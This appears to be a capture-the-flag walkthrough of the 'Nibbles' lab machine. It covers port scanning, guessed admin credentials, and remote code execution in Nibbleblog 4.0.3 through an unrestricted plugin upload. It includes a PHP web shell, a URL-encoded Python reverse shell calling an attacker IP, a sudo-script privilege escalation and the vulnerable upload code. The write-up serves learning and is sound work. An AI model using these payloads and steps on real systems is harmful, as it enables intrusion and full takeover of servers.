The Nibbles machine is an easy linux box.
If you are italian you might want to check out the related video.
#Getting a Foothold
As always, before starting we spawn the machine, check its assigned IP address and add it to our /etc/hosts as follows
echo "10.129.66.223 nibbles" >> /etc/hosts
#Port Scanning
Doing basic scans with nmap gives us the following situation
-
basic script + version scan:
nmap -sC -sV nibblesStarting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds -
full port scan:
nmap -p- nibblesStarting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
As we can see from the scans, a web server seems to be listening
on port 80.
#Web Server Enumeration
When going into http://nibbles we are met with a page displaying
a simple "Hello World" text. By checking out the source code we
get the following
The comment seems to indicate to check out a particular directory
named nibbleblog/. By going to the url http://nibbles/nibbleblog
we are met with the following screen
By checking out the web we see that nibbleblog is a blog engine written in php, whose source code can be acquired through various sources such as a github repo.
By looking at the code we see a file named admin.php, by going
there we are welcome with a login page
To gain access the credentials are admin:nibbles and are obtained
by simple guessing: admin is a typical username and nibbles is
the name of the machine.
Once inside we are able to check the version by going to the
following url
http://nibbles/nibbleblog/admin.php?controller=settings&action=general
using the dashboard.
As we can see, our verson of nibbleblog is 4.0.3.
#Exploiting RCE on Nibbleblog
By doing a quick search for nibbleblog 4.0.3. CVEs we find the following useful resources
these resources present a RCE in nibbleblog 4.0.3 obtained by a
RFI in which the user is able to upload a .php shell using the
plugin my image, which is installed by default. The only
requirements are the admin credentials, which we already found.
To actually exploit this we will do the following
-
Write in a file called
shell.phpthe following php code<?php echo system($_REQUEST['cmd']) ?> -
Upload the file using the file upload offered by the
my imageplugin. If the plugin is not already activated you can go to the following url to activate and install ithttp://nibbles/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image -
Access the uploaded shell at the following url and start executing our code.
http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
These steps are shown here
#Spawning a reverse shell
Once we have obtained RCE to actually spawn a reverse shell we
can use the following url which spawns a reverse on ip
10.10.14.95 and port 4321
http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.95%22,4321));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27%20&
#Privilege Escalation
#Getting user flag
Once inside we are nibbler user and the user flag is as simple as
going to the home folder /home/nibbles.
ls -lha /home/nibblertotal 20K
drwxr-xr-x 3 nibbler nibbler 4.0K Dec 29 2017 .
drwxr-xr-x 3 root root 4.0K Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4.0K Dec 10 2017 .nano
-r-------- 1 nibbler nibbler 1.9K Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Dec 13 11:08 user.txt
#Getting root flag
To get the root flag instead we have to unzip the personal.zip
file to get
unzip /home/nibbler/personal.zip Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Finally, by checking out sudo -l we see the following
sudo -l Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
As we can see, we can run the script monitor.sh on the path
/home/nibbler/personal/stuff as the root user. Since we can also
overwrite the file, to get a root shell we simply need to write
any reverse shell on it, listen on a port, and execute the script
with
sudo -u root ./home/nibbler/personal/stuff/monitor.sh
this will get us our shell as root. Once we have that we can simply go to the root folder and get the flag.
hostnameNibblesiduid=0(root) gid=0(root) groups=0(root)ls -lha /roottotal 28K drwx------ 4 root root 4.0K Dec 29 2017 . drwxr-xr-x 23 root root 4.0K Dec 28 2017 .. -rw------- 1 root root 0 Dec 29 2017 .bash_history -rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc drwx------ 2 root root 4.0K Dec 10 2017 .cache drwxr-xr-x 2 root root 4.0K Dec 10 2017 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -r-------- 1 root root 33 Dec 13 11:08 root.txt
#Final Remarks
This machine was pretty easy overall. The only interesting remark to mention is regarding the file upload that enabled us to obtain the RCE and thus to spawn the reverse shell on the target machine.
The actual vulnerability can be found by downloading the correct version of nibbleblog at the following url
The vulnerable code as reported in one of the previously linked
resources can be found in the file
admin/controllers/plugin/config.bit and is the following php code
if( ($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['plugin']) )
{
$plugin = $plugins_all['PLUGIN_'.strtoupper($_POST['plugin'])]; // PLUGIN_MY_IMAGE
if( $plugin->init_db() )
{
// upload files
foreach($_FILES as $field_name=>$file)
{
// get file extension (.php)
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
// get destination dir (/content/private/plugins/my_image)
$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
// complete file name
$complete = $destination.'/'.$field_name.'.'.$extension;
// WARNING: no checks on the extension are made before uploading!
// Upload the new file and move
if(move_uploaded_file($file["tmp_name"], $complete))
{
// Resize images if requested by the plugin
if(isset($_POST[$field_name.'_resize']))
{
// ...
}
}
}
// ...
}
}
Notice in particular the move_uploaded_file(), which does not
perform any check regarding the extension supplied by the user and
which allowed us to upload the .php shell.